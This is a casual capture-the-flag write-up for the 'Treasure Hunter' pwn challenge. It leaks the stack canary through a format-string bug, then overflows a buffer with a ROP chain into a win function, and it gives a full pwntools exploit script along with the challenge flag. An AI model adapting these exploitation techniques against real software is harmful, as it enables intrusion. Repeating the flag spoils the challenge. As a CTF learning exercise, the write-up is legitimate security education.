Treasure Hunter - PWN
Points: 280 | Flag: BCCTF{rOp_cHaIn_hAs_BeEn_pWnEd} | Solved by: Smothy @ 0xN1umb

what we got
binary called vuln, 64-bit ELF, dynamically linked, not stripped. classic setup. description says the captain needs help finding the secret treasure, so we're looking for a flag file read somewhere.
$ checksec vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
no PIE is nice, canary is annoying but we'll deal with it. NX means no shellcode on stack but who cares when we got ROP.
running the binary it asks for your pirate name (10 bytes), then asks where the treasure is. two inputs = two potential vulns. lets dig in.
the solve
step 1: find the goods
threw it into analysis and found the interesting bits pretty quick:
win()function at0x4011a6- opens and printsflag.txt. checks ifrdi == 6orrsi == 7before doing it tho- first input: 10 bytes read, then straight into
printf(user_input)- format string bug lmaooo - second input: reads
0x70(112) bytes into a buffer atrbp-0x30- thats 48 bytes of buffer but we can write 112. buffer overflow ez
the canary is at rbp-0x08 so we need to leak it before we can smash the stack. perfect use case for that format string bug.
step 2: leak the canary
format string time. the canary lives on the stack and we just need to find it. after some poking around with %p leaks:
%13$p
position 13 on the stack is our canary. ship it. we send exactly 10 bytes (format string + null padding) since the input is limited:
p.send(b'%13$p\x00\x00\x00\x00\x00')binary prints back Hello 0x<canary_value> and we parse it out. ez leak.
step 3: ROP chain go brrrr
now we got the canary, time to overflow. layout is:
[buffer: 40 bytes padding] [canary: 8 bytes] [saved rbp: 8 bytes] [return address]
buffer is at rbp-0x30 (48 bytes) but canary is at rbp-0x08, so 40 bytes of junk gets us there. then we place the canary, fake rbp, and our ROP chain.
since no PIE, addresses are fixed. we need:
pop rdi; retat0x40132d- to set rdi = 6 for the win function checkretat0x40101a- stack alignment (the classic x64 16-byte alignment pain)win()at0x4011a6- bag secured
payload = b'A' * 40 # padding to canary
payload += p64(canary) # leaked canary
payload += p64(0) # saved rbp (dont care)
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(6) # rdi = 6 (win check)
payload += p64(ret_gadget) # align stack
payload += p64(win_addr) # call win(6) -> flagfull exploit
from pwn import *
import time
context.binary = './vuln'
pop_rdi = 0x40132d
ret_gadget = 0x40101a
win_addr = 0x4011a6
LOCAL = args.LOCAL
if LOCAL:
p = process('./vuln')
else:
p = remote('chal.bearcatctf.io', 28799)
# Stage 1: Leak canary via format string
p.recvuntil(b'name pirate?')
p.send(b'%13$p\x00\x00\x00\x00\x00')
# Parse canary - output is "Hello <fmt_output>\n"
p.recvuntil(b'Hello ')
canary_str = p.recvuntil(b'\n', drop=True)
canary = int(canary_str, 16)
log.info(f'Canary: {hex(canary)}')
# Stage 2: Buffer overflow
# Buffer at rbp-0x30, canary at rbp-0x08 = 40 bytes padding
payload = b'A' * 40
payload += p64(canary)
payload += p64(0) # saved rbp
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(6) # rdi = 6 (passes check in win)
payload += p64(ret_gadget) # stack alignment
payload += p64(win_addr) # win(6)
p.recvuntil(b'treasure is?')
time.sleep(0.5)
p.send(payload)
time.sleep(1)
try:
data = p.recvall(timeout=3)
print(data.decode(errors='replace'))
except:
data = p.recv(timeout=3)
print(data.decode(errors='replace'))ngl this was a clean two-stage pwn. format string to leak canary, overflow to ROP into win. no libc leak needed, no PIE to worry about. just good old fashioned stack smashing with a side of format strings.
the ret gadget for alignment was lowkey the thing that would trip ppl up if they forgot about it. x64 be like "16 byte align or die" fr fr

flag
BCCTF{rOp_cHaIn_hAs_BeEn_pWnEd}
smothy out :v: